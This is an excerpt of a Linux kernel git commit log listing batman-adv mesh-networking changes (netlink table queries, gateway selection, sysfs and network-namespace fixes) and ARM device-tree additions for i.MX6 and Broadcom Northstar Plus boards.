socket. Signed-off-by: Simon Wunderlich Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner include/uapi/linux/batman_adv.h | 2 + net/batman-adv/bridge_loop_avoidance.c | 164 +++++++++++++++++++++++++++++++++ net/batman-adv/bridge_loop_avoidance.h | 7 ++ net/batman-adv/netlink.c | 7 ++ 4 files changed, 180 insertions(+) commit 8dad6f0db6b4457b1c4b04d4edf62744921c32fd Author: Sven Eckelmann Date: Sun Jul 3 13:31:46 2016 +0200 batman-adv: Provide bla group in the mesh_info netlink msg The bridge loop avoidange is the main information for the debugging of of bridge loop detection problems. It is therefore necessary when comparing the bla claim tables. Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner net/batman-adv/netlink.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 04f3f5bf1883fbe0acba5c1fc698cf5cedebc5c5 Author: Andrew Lunn Date: Sun Jul 3 13:31:45 2016 +0200 batman-adv: add B.A.T.M.A.N. Dump BLA claims via netlink Dump the list of bridge loop avoidance claims via the netlink socket. Signed-off-by: Andrew Lunn [sven.eckelmann@open-mesh.com: add policy for attributes, fix includes, fix soft_iface reference leak] Signed-off-by: Sven Eckelmann [sw@simonwunderlich.de: fix kerneldoc, fix error reporting] Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner include/uapi/linux/batman_adv.h | 12 +++ net/batman-adv/bridge_loop_avoidance.c | 169 +++++++++++++++++++++++++++++++++ net/batman-adv/bridge_loop_avoidance.h | 10 +- net/batman-adv/netlink.c | 12 +++ 4 files changed, 202 insertions(+), 1 deletion(-) commit b71bb6f924fe4c77d476738289242b5567269df6 Author: Sven Eckelmann Date: Sun Jul 3 13:31:44 2016 +0200 batman-adv: add B.A.T.M.A.N. V bat_gw_dump implementations Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/bat_v.c | 125 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 125 insertions(+) commit efb766af06e39101456e3c83e98112ce9ab9739c Author: Andrew Lunn Date: Sun Jul 3 13:31:43 2016 +0200 batman-adv: add B.A.T.M.A.N. IV bat_gw_dump implementations Dump the list of gateways via the netlink socket. Signed-off-by: Andrew Lunn [sven.eckelmann@open-mesh.com: integrate in batadv_algo_ops] Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner net/batman-adv/bat_iv_ogm.c | 105 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 105 insertions(+) commit d7129dafcb71adfd1a166d0477ce0f564cf410d5 Author: Sven Eckelmann Date: Sun Jul 3 13:31:42 2016 +0200 batman-adv: netlink: add gateway table queries Add BATADV_CMD_GET_GATEWAYS commands, using handlers bat_gw_dump in batadv_algo_ops. Will always return -EOPNOTSUPP for now, as no implementations exist yet. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich include/uapi/linux/batman_adv.h | 8 ++++++ net/batman-adv/gateway_client.c | 59 +++++++++++++++++++++++++++++++++++++++++ net/batman-adv/gateway_client.h | 2 ++ net/batman-adv/netlink.c | 10 +++++++ net/batman-adv/types.h | 3 +++ 5 files changed, 82 insertions(+) commit f02a478f518ee5690f279c8c2d3a6222143a7b20 Author: Matthias Schiffer Date: Sun Jul 3 13:31:41 2016 +0200 batman-adv: add B.A.T.M.A.N. V bat_{orig, neigh}_dump implementations Dump the algo V originators and neighbours. Signed-off-by: Matthias Schiffer Signed-off-by: Andrew Lunn [sven@narfation.org: Fix includes, fix algo_ops integration] Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner include/uapi/linux/batman_adv.h | 2 + net/batman-adv/bat_v.c | 340 ++++++++++++++++++++++++++++++++++++++++ net/batman-adv/netlink.c | 1 + 3 files changed, 343 insertions(+) commit 024f99cb4acc14dab5e55e1ecdf6aad31269ca98 Author: Matthias Schiffer Date: Sun Jul 3 13:31:40 2016 +0200 batman-adv: add B.A.T.M.A.N. IV bat_{orig, neigh}_dump implementations Signed-off-by: Matthias Schiffer Signed-off-by: Andrew Lunn [sven.eckelmann@open-mesh.com: Fix function parameter alignments, add policy for attributes, fix includes, fix algo_ops integration] Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner include/uapi/linux/batman_adv.h | 4 + net/batman-adv/bat_iv_ogm.c | 366 ++++++++++++++++++++++++++++++++++++++++ net/batman-adv/netlink.c | 2 + 3 files changed, 372 insertions(+) commit 85cf8c859d53f6f53c37bb7f23a41f6171427021 Author: Matthias Schiffer Date: Sun Jul 3 13:31:39 2016 +0200 batman-adv: netlink: add originator and neighbor table queries Add BATADV_CMD_GET_ORIGINATORS and BATADV_CMD_GET_NEIGHBORS commands, using handlers bat_orig_dump and bat_neigh_dump in batadv_algo_ops. Will always return -EOPNOTSUPP for now, as no implementations exist yet. Signed-off-by: Matthias Schiffer Signed-off-by: Andrew Lunn [sven@narfation.org: Rewrite based on new algo_ops structures] Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner include/uapi/linux/batman_adv.h | 4 + net/batman-adv/netlink.c | 13 ++++ net/batman-adv/originator.c | 160 ++++++++++++++++++++++++++++++++++++++++ net/batman-adv/originator.h | 4 + net/batman-adv/types.h | 9 +++ 5 files changed, 190 insertions(+) commit f32ed4b54ef4d5c9ad7f8135226bc34bd0dccb5c Author: Sven Eckelmann Date: Sun Jul 3 13:31:38 2016 +0200 batman-adv: Provide TTVN in the mesh_info netlink msg The TTVN is the main information for the debugging of translation table problems. It is therefore necessary when comparing the global translation tables. Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner net/batman-adv/netlink.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit d34f05507db245bef819b684ad84f9e0f9bb003d Author: Matthias Schiffer Date: Sun Jul 3 13:31:37 2016 +0200 batman-adv: netlink: add translation table query This adds the commands BATADV_CMD_GET_TRANSTABLE_LOCAL and BATADV_CMD_GET_TRANSTABLE_GLOBAL, which correspond to the transtable_local and transtable_global debugfs files. The batadv_tt_client_flags enum is moved to the UAPI to expose it as part of the netlink API. Signed-off-by: Matthias Schiffer Signed-off-by: Andrew Lunn [sven.eckelmann@open-mesh.com: add policy for attributes, fix includes] Signed-off-by: Sven Eckelmann [sw@simonwunderlich.de: fix VID attributes content] Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner include/uapi/linux/batman_adv.h | 56 ++++++ net/batman-adv/netlink.c | 23 ++- net/batman-adv/netlink.h | 3 + net/batman-adv/packet.h | 36 ---- net/batman-adv/translation-table.c | 377 +++++++++++++++++++++++++++++++++++++ net/batman-adv/translation-table.h | 4 + 6 files changed, 462 insertions(+), 37 deletions(-) commit b60620cf567b79da46096a0ba29b39f23b6e7f1c Author: Matthias Schiffer Date: Sun Jul 3 13:31:36 2016 +0200 batman-adv: netlink: hardif query BATADV_CMD_GET_HARDIFS will return the list of hardifs (including index, name and MAC address) of all hardifs for a given softif. Signed-off-by: Matthias Schiffer Signed-off-by: Andrew Lunn [sven.eckelmann@open-mesh.com: Reduce the number of changes to BATADV_CMD_GET_HARDIFS, add policy for attributes] Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner include/uapi/linux/batman_adv.h | 4 ++ net/batman-adv/netlink.c | 128 +++++++++++++++++++++++++++++++++++++++- 2 files changed, 130 insertions(+), 2 deletions(-) commit 07a3061e0832fe22932e0fa977581e45b9c42431 Author: Matthias Schiffer Date: Sun Jul 3 13:31:35 2016 +0200 batman-adv: netlink: add routing_algo query BATADV_CMD_GET_ROUTING_ALGOS is used to get the list of supported routing algorithms. Signed-off-by: Matthias Schiffer Signed-off-by: Andrew Lunn [sven.eckelmann@open-mesh.com: Reduce the number of changes to BATADV_CMD_GET_ROUTING_ALGOS, fix includes] Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner include/uapi/linux/batman_adv.h | 2 ++ net/batman-adv/bat_algo.c | 68 +++++++++++++++++++++++++++++++++++++++++ net/batman-adv/bat_algo.h | 3 ++ net/batman-adv/netlink.c | 9 +++++- net/batman-adv/netlink.h | 3 ++ 5 files changed, 84 insertions(+), 1 deletion(-) commit 94969208c8c7f3dd06c0e5e61155077b573d5d5f Author: Andrew Lunn Date: Sun Jul 3 13:31:34 2016 +0200 batman-adv: Suppress debugfs entries for netns's Debugfs is not netns aware. It thus has problems when the same interface name exists in multiple network name spaces. Work around this by not creating entries for interfaces in name spaces other than the default name space. This means meshes in network namespaces cannot be managed via debugfs, but there will soon be a netlink interface which is netns aware. Signed-off-by: Andrew Lunn Signed-off-by: Simon Wunderlich Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner net/batman-adv/debugfs.c | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) commit 275019d2f00ed93e800f505a7b6f9e8ecf396898 Author: Andrew Lunn Date: Sun Jul 3 13:31:33 2016 +0200 batman-adv: Handle parent interfaces in a different netns batman-adv tries to prevent the user from placing a batX soft interface into another batman mesh as a hard interface. It does this by walking up the devices list of parents and ensures they are all none batX interfaces. iflink can point to an interface in a different namespace, so also retrieve the parents name space when finding the parent and use it when doing the comparison. Signed-off-by: Andrew Lunn [sven@narfation.org: Fix alignments, simplify parent netns retrieval] Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich Signed-off-by: Marek Lindner net/batman-adv/hard-interface.c | 50 +++++++++++++++++++++++++++++++++++------ 1 file changed, 43 insertions(+), 7 deletions(-) commit b5dcbad25219b82408e15e6d775a406be2116af1 Author: Sven Eckelmann Date: Wed Jun 29 23:45:57 2016 +0200 batman-adv: Fix consistency of update route messages The debug messages of _batadv_update_route were printed before the actual route change is done. At this point it is not really known which curr_router will be replaced. Thus the messages could print the wrong operation. Printing the debug messages after the operation was done avoids this problem. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/routing.c | 43 +++++++++++++++++-------------------------- 1 file changed, 17 insertions(+), 26 deletions(-) commit 4d7de48c797c9207412da4e350c5170617eaf8c7 Author: Linus Lüssing Date: Mon Jul 11 11:16:36 2016 +0200 batman-adv: Use bitwise instead of arithmetic operator for flags This silences the following coccinelle warning: "WARNING: sum of probable bitmasks, consider |" Signed-off-by: Linus Lüssing Signed-off-by: Marek Lindner Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich net/batman-adv/multicast.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f19dc7770f5d55274ef9821392199daca03469a9 Author: Sven Eckelmann Date: Mon Jun 27 08:15:42 2016 +0200 batman-adv: Remove orig_node reference handling from send_skb_unicast The function batadv_send_skb_unicast is not acquiring a reference for an orig_node nor removing it from any datastructure. It still reduces the reference counter for an object which is still in the hands of the caller. This is confusing and can lead in the future to problems in the reference handling of the caller function. Signed-off-by: Sven Eckelmann Acked-by: Linus Lüssing Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/send.c | 25 +++++++++++++++++-------- net/batman-adv/soft-interface.c | 3 +++ 2 files changed, 20 insertions(+), 8 deletions(-) commit 86452f81d200d4d6ad489ef84311030eff84dd84 Author: Sven Eckelmann Date: Sat Jun 25 16:44:06 2016 +0200 batman-adv: use kmem_cache for translation table The translation table (global, local) is usually the part of batman-adv which has the most dynamical allocated objects. Most of them (tt_local_entry, tt_global_entry, tt_orig_list_entry, tt_change_node, tt_req_node, tt_roam_node) are equally sized. So it makes sense to have them allocated from a kmem_cache for each type. This approach allowed a small wireless router (TP-Link TL-841NDv8; SLUB allocator) to store 34% more translation table entries compared to the current implementation. [1] https://open-mesh.org/projects/batman-adv/wiki/Kmalloc-kmem-cache-tests Reported-by: Linus Lüssing Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/main.c | 16 +++- net/batman-adv/translation-table.c | 169 +++++++++++++++++++++++++++++++++---- net/batman-adv/translation-table.h | 3 + 3 files changed, 169 insertions(+), 19 deletions(-) commit a65e5481315e0754a20f58aa374423610a311f33 Author: Linus Lüssing Date: Mon Jun 20 21:39:54 2016 +0200 batman-adv: Introduce forward packet creation helper This patch abstracts the forward packet creation into the new function batadv_forw_packet_alloc(). The queue counting and interface reference counters are now handled internally within batadv_forw_packet_alloc() and its batadv_forw_packet_free() counterpart. This should reduce the risk of having reference/queue counting bugs again and should increase code readibility. Signed-off-by: Linus Lüssing Signed-off-by: Marek Lindner Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich net/batman-adv/bat_iv_ogm.c | 38 ++++----------- net/batman-adv/send.c | 111 ++++++++++++++++++++++++++++++++------------ net/batman-adv/send.h | 6 +++ net/batman-adv/types.h | 2 + 4 files changed, 98 insertions(+), 59 deletions(-) commit 4fd261bf586b0fc932d5fd20d9b1648547b16eca Author: kbuild test robot Date: Wed Jul 6 10:49:29 2016 +0800 batman-adv: fix boolreturn.cocci warnings net/batman-adv/bridge_loop_avoidance.c:1105:9-10: WARNING: return of 0/1 in function 'batadv_bla_process_claim' with return type bool Return statements in functions returning bool should use true/false instead of 1/0. Generated by: scripts/coccinelle/misc/boolreturn.cocci Signed-off-by: Fengguang Wu Signed-off-by: Marek Lindner Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich net/batman-adv/bridge_loop_avoidance.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 57b125029c0483ae53abf6d5d26c3eaa1b521573 Author: Markus Pargmann Date: Sun Jul 3 11:07:14 2016 +0200 batman-adv: iv_ogm, Reduce code duplication The difference between tq1 and tq2 are calculated the same way in two separate functions. This patch moves the common code to a separate function 'batadv_iv_ogm_neigh_diff' which handles everything necessary. The other two functions can then handle errors and use the difference directly. Signed-off-by: Markus Pargmann [sven@narfation.org: rebased on current version, initialize return variable in batadv_iv_ogm_neigh_diff, add kerneldoc, convert to bool return type] Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/bat_iv_ogm.c | 77 +++++++++++++++++++++++++++------------------ 1 file changed, 47 insertions(+), 30 deletions(-) commit a8d8d1de414ee4c393ba43dbbf01eaf21a4f47bd Author: Antonio Quartulli Date: Sun Jul 3 12:46:35 2016 +0200 batman-adv: disable sysfs knobs when GW-mode is not implemented Now that the GW-mode code is algorithm specific, batman-adv expects the routing algorithm to implement some APIs to make it work. However, such APIs are not mandatory, therefore we might have algorithms not providing them. In this case all the sysfs knobs related to GW-mode should be deactivated to make sure that settings injected by the user for this feature are rejected. Signed-off-by: Antonio Quartulli Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/sysfs.c | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) commit 50164d8f500f1cd211178f7b3d062987d68fe013 Author: Antonio Quartulli Date: Sun Jul 3 12:46:34 2016 +0200 batman-adv: B.A.T.M.A.N. V - implement GW selection logic Since the GW selection logic has been made routing protocol specific it is now possible for B.A.T.M.A.N V to have its own mechanism by providing the API implementation. Implement the GW specific API in the B.A.T.M.A.N. V protocol in order to provide a working GW selection mechanism. Signed-off-by: Antonio Quartulli Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/bat_v.c | 223 +++++++++++++++++++++++++++++++++++++++- net/batman-adv/gateway_client.c | 5 +- net/batman-adv/gateway_client.h | 2 + 3 files changed, 226 insertions(+), 4 deletions(-) commit 34d99cfefaac596adfe9b69f5e7c2cd291af2334 Author: Antonio Quartulli Date: Sun Jul 3 12:46:33 2016 +0200 batman-adv: make GW election code protocol specific Each routing protocol may have its own specific logic about gateway election which is potentially based on the metric being used. Create two GW specific API functions and move the current election logic in the B.A.T.M.A.N. IV specific code. Signed-off-by: Antonio Quartulli Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/bat_iv_ogm.c | 219 ++++++++++++++++++++++++++++++++++++++++ net/batman-adv/gateway_client.c | 217 +++++---------------------------------- net/batman-adv/gateway_client.h | 3 + net/batman-adv/gateway_common.c | 5 +- net/batman-adv/types.h | 11 ++ 5 files changed, 263 insertions(+), 192 deletions(-) commit 086869438a73d8213a3f945da6679a548badbabc Author: Antonio Quartulli Date: Sun Jul 3 12:46:32 2016 +0200 batman-adv: make the GW selection class algorithm specific The B.A.T.M.A.N. V algorithm uses a different metric compared to its predecessor and for this reason the logic used to compute the best Gateway is also changed. This means that the GW selection class fed to this logic has a semantics that depends on the algorithm being used. Make the parsing and printing routine of the GW selection class routing algorithm specific. Each algorithm can now parse (and print) this value independently. If no API is provided by any algorithm, the default is to use the current mechanism of considering such value like an integer between 1 and 255. Signed-off-by: Antonio Quartulli Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/bat_v.c | 34 ++++++++++++++++++++++++++++++++++ net/batman-adv/sysfs.c | 34 ++++++++++++++++++++++++++++++++-- net/batman-adv/types.h | 13 +++++++++++++ 3 files changed, 79 insertions(+), 2 deletions(-) commit f55a2e844701673dcdb939ea94a289294d1741e2 Author: Linus Lüssing Date: Tue Jun 14 22:56:50 2016 +0200 batman-adv: Remove unused primary_if and bat_priv variables Fixes: ef0a937f7a14 ("batman-adv: consider outgoing interface in OGM sending") Signed-off-by: Linus Lüssing Signed-off-by: Marek Lindner Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich net/batman-adv/bat_iv_ogm.c | 19 ++++--------------- 1 file changed, 4 insertions(+), 15 deletions(-) commit f4acb1086bc972f69e1ae14ec5b4473bc6c02dd5 Author: Sven Eckelmann Date: Mon Jun 13 07:41:32 2016 +0200 batman-adv: Avoid sysfs name collision for netns moves The kobject_put is only removing the sysfs entry and corresponding entries when its reference counter becomes zero. This tends to lead to collisions when a device is moved between two different network namespaces because some of the sysfs files have to be removed first and then added again to the already moved sysfs entry. WARNING: CPU: 0 PID: 290 at lib/kobject.c:240 kobject_add_internal+0x5ec/0x8a0 kobject_add_internal failed for batman_adv with -EEXIST, don't try to register things with the same name in the same directory. But the caller of kobject_put can already remove the sysfs entry before it does the kobject_put. This removal is done even when the reference counter is not yet zero and thus avoids the problem. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/sysfs.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 569c98504b2004dba207127bcceb8f3aeb9b8e7d Author: Sven Eckelmann Date: Mon Jun 13 07:41:31 2016 +0200 batman-adv: Revert "postpone sysfs removal when unregistering" Postponing the removal of the interface breaks the expected behavior of NETDEV_UNREGISTER and NETDEV_PRE_TYPE_CHANGE. This is especially problematic when an interface is removed and added in quick succession. This reverts commit 5bc44dc8458c ("batman-adv: postpone sysfs removal when unregistering"). Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/hard-interface.c | 26 +++--------------------- net/batman-adv/soft-interface.c | 44 ++++++++++++----------------------------- net/batman-adv/types.h | 4 ---- 3 files changed, 16 insertions(+), 58 deletions(-) commit 77d69d8ce17ce0d2a29d042e27943b0a8cea302d Author: Sven Eckelmann Date: Mon Jun 13 07:41:30 2016 +0200 batman-adv: Modify mesh_iface outside sysfs context The legacy sysfs interface to modify interfaces belonging to batman-adv is run inside a region holding s_lock. And to add a net_device, it has to also get the rtnl_lock. This is exactly the other way around than in other virtual net_devices and conflicts with netdevice notifier which executes inside rtnl_lock. The inverted lock situation is currently solved by executing the removal of netdevices via workqueue. The workqueue isn't executed inside rtnl_lock and thus can independently get the s_lock and the rtnl_lock. But this workaround fails when the netdevice notifier creates events in quick succession and the earlier triggered removal of a net_device isn't processed in the workqueue before the adding of the new netdevice (with same name) event is issued. Instead the legacy sysfs interface store events have to be enqueued in a workqueue to loose the s_lock. The worker is then free to get the required locks and the deadlock is avoided. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/sysfs.c | 107 +++++++++++++++++++++++++++++++++++++------------ net/batman-adv/types.h | 13 ++++++ 2 files changed, 94 insertions(+), 26 deletions(-) commit f2c750fedd2e102b95a3b1008703b9f54bbc9b08 Author: Sven Eckelmann Date: Fri Jun 10 23:00:56 2016 +0200 batman-adv: Use rtnl link in device creation example The standard kernel API to add new virtual interfaces and attach other interfaces to it is rtnl-link. batman-adv supports it since v3.10. This functionality should be used instead of the legacy batman-adv-only sysfs interface. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich Documentation/networking/batman-adv.txt | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) commit 9791860ce5438da65f4f5c38c282fdc45e30dd97 Author: Sven Eckelmann Date: Fri Jun 10 23:00:55 2016 +0200 batman-adv: Define module rtnl link name The batman-adv module can automatically be loaded when operations over the rtnl link are triggered. This requires only the correct rtnl link name in the module header. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/main.c | 1 + 1 file changed, 1 insertion(+) commit e61cdfa3343b439590d6b9319fc973b7a1cb97ae Author: Sven Eckelmann Date: Tue Jun 7 22:44:53 2016 +0200 batman-adv: Document optional batadv_algo_ops Some operations in batadv_algo_ops are optional and marked as such in the kerneldoc. But some of them miss the "(optional)" in their kerneldoc. These have to also be marked to give an implementor of an algorithm the correct background information without looking in the code calling these function pointers. Signed-off-by: Sven Eckelmann Signed-off-by: Marek Lindner Signed-off-by: Simon Wunderlich net/batman-adv/types.h | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit 7d0a55339f146a27282f95ab445d6d0324958a40 Author: Simon Wunderlich Date: Tue Aug 9 07:50:46 2016 +0200 batman-adv: Start new development cycle Signed-off-by: Simon Wunderlich Signed-off-by: Sven Eckelmann net/batman-adv/main.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c007b3a697ac4a9a11947bec63d2ae443a29cde1 Author: Uwe Kleine-König Date: Fri Jul 8 23:22:54 2016 +0200 ARM: dts: imx6qdl: don't configure reserved pad settings Several dts files set a bit in the SPEED field for pads RGMII_{R,T}{XC,D0,D1,D2,D3,X_CTL}, but that doesn't exist. Writing there doesn't have an effect and the bit reads as zero. Signed-off-by: Uwe Kleine-König Signed-off-by: Shawn Guo arch/arm/boot/dts/imx6dl-riotboard.dts | 22 +++++++++++----------- arch/arm/boot/dts/imx6q-arm2.dts | 24 ++++++++++++------------ arch/arm/boot/dts/imx6q-ba16.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6q-cm-fx6.dts | 24 ++++++++++++------------ arch/arm/boot/dts/imx6q-dmo-edmqmx6.dts | 24 ++++++++++++------------ arch/arm/boot/dts/imx6q-evi.dts | 24 ++++++++++++------------ arch/arm/boot/dts/imx6q-gw5400-a.dts | 24 ++++++++++++------------ arch/arm/boot/dts/imx6q-marsboard.dts | 24 ++++++++++++------------ arch/arm/boot/dts/imx6q-novena.dts | 12 ++++++------ arch/arm/boot/dts/imx6q-sbc6x.dts | 24 ++++++++++++------------ arch/arm/boot/dts/imx6q-tbs2910.dts | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-apalis.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-dfi-fs700-m60.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-gw51xx.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-gw52xx.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-gw53xx.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-gw54xx.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-icore-rqs.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-nit6xlite.dtsi | 12 ++++++------ arch/arm/boot/dts/imx6qdl-nitrogen6_max.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-nitrogen6x.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-phytec-pfla02.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-rex.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-sabreauto.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-sabrelite.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-sabresd.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-udoo.dtsi | 24 ++++++++++++------------ arch/arm/boot/dts/imx6qdl-wandboard.dtsi | 24 ++++++++++++------------ 28 files changed, 323 insertions(+), 323 deletions(-) commit 2f8bc002e069a10e777ab92b9ac53d3669b3d8d3 Author: Jon Mason Date: Wed Aug 3 14:39:06 2016 -0400 ARM: dts: NSP: Add new DT file for bcm958622hr Create a new device tree file for the Broadcom Northstar Plus bcm958622hr SVK. This SVK has 2GB RAM, 5 port Ethernet, 2 PCI slots, and 1 UART. Also, it has the ability to reboot via GPIO. To be added in the future are support for the USB and SLIC audio. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/bcm958622hr.dts | 170 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 171 insertions(+) commit d454c3762437b6652626a6e6f12bcb607d81e842 Author: Jon Mason Date: Wed Aug 3 14:39:05 2016 -0400 ARM: dts: NSP: Add new DT file for bcm958623hr Create a new device tree file for the Broadcom Northstar Plus bcm958623hr SVK. This SVK has 2GB RAM, 5 ports Ethernet, SATA, 2 PCI slots, and 1 UART. Also, it has the ability to reboot via GPIO. To be added in the future are support for the USB and SLIC audio. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/bcm958623hr.dts | 178 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 179 insertions(+) commit f27eacf247da6a10deee9a9f8a75b749be921471 Author: Jon Mason Date: Wed Aug 3 14:39:04 2016 -0400 ARM: dts: NSP: Add new DT file for bcm988312hr Create a new device tree file for the Broadcom Northstar Plus bcm988312hr SVK. This SVK has 2GB RAM, 5 ports Ethernet, 2 eSATA, 2 PCI slots, and 1 UART. Also, it has the ability to reboot via GPIO. To be added in the future is support for the USB. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/bcm988312hr.dts | 182 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 183 insertions(+) commit 088e3148cff387af5f56605bd8fa387eace46b06 Author: Jon Mason Date: Wed Aug 3 14:39:03 2016 -0400 ARM: dts: NSP: Add new DT file for bcm958522er Create a new device tree file for the Broadcom Northstar Plus bcm958522er SVK. This SVK has 2GB RAM, 2 ports Ethernet, 2 PCI slots, and 1 UART. Also, it has the ability to reboot via GPIO. To be added in the future is support for the USB. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/bcm958522er.dts | 130 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 131 insertions(+) commit e3227c128990deb8a9a12236fe4796a5951d0d22 Author: Jon Mason Date: Wed Aug 3 14:39:02 2016 -0400 ARM: dts: NSP: Add new DT file for bcm958525er Create a new device tree file for the Broadcom Northstar Plus bcm958525er SVK. This SVK has 2GB RAM, 2 ports Ethernet, 2 eSATA, 2 PCI slots, and 1 UART. Also, it has the ability to reboot via GPIO. To be added in the future is support for the USB. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/Makefile | 1 + arch/arm/boot/dts/bcm958525er.dts | 142 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 143 insertions(+) commit 10baed1cdfca0bd6357a3a9048e8b72c844d29ec Author: Jon Mason Date: Wed Aug 3 14:39:01 2016 -0400 ARM: dts: NSP: Add GPIO reboot method to bcm958625xmc DTS file Add the ability to reboot the bcm958625xmc board via GPIO. Unfortunately, not all of the NSP based boards use the same GPIO pin and one doesn't have the ability to reboot via GPIO at all. So, this will need to be specified per DTS file. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm958525xmc.dts | 7 +++++++ 1 file changed, 7 insertions(+) commit b1aaf88bb7dc64fef21b853b404c267c7a2bc6c1 Author: Jon Mason Date: Wed Aug 3 14:39:00 2016 -0400 ARM: dts: NSP: Add GPIO reboot method to bcm958625hr DTS file Add the ability to reboot the bcm958625hr board via GPIO. Unfortunately, not all of the NSP based boards use the same GPIO pin and one doesn't have the ability to reboot via GPIO at all. So, this will need to be specified per DTS file. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm958625hr.dts | 7 +++++++ 1 file changed, 7 insertions(+) commit 70c341cfe9939174c1b9960eba55bc6012556afc Author: Jon Mason Date: Wed Aug 3 14:38:59 2016 -0400 ARM: dts: NSP: Specify RAM amount for BCM958525XMC board Add 1GB of memory starting at physical offset 0x6000_0000. Signed-off-by: Jon Mason Signed-off-by: Florian Fainelli arch/arm/boot/dts/bcm958525xmc.dts | 5 +++++ 1 file changed, 5 insertions(+) commit 21af8f454696c83d4e001f9547a969aba7810731 Author: Jon Mason Date: Wed Aug 3 14:38:58 2016 -0400 ARM: dts: NSP: Specify RAM amount for BCM958625K board Add 2GB of memory starting at physical offset 0x6000_0000. Signed-off-by: Jon Mason Signed-off-by: Florian 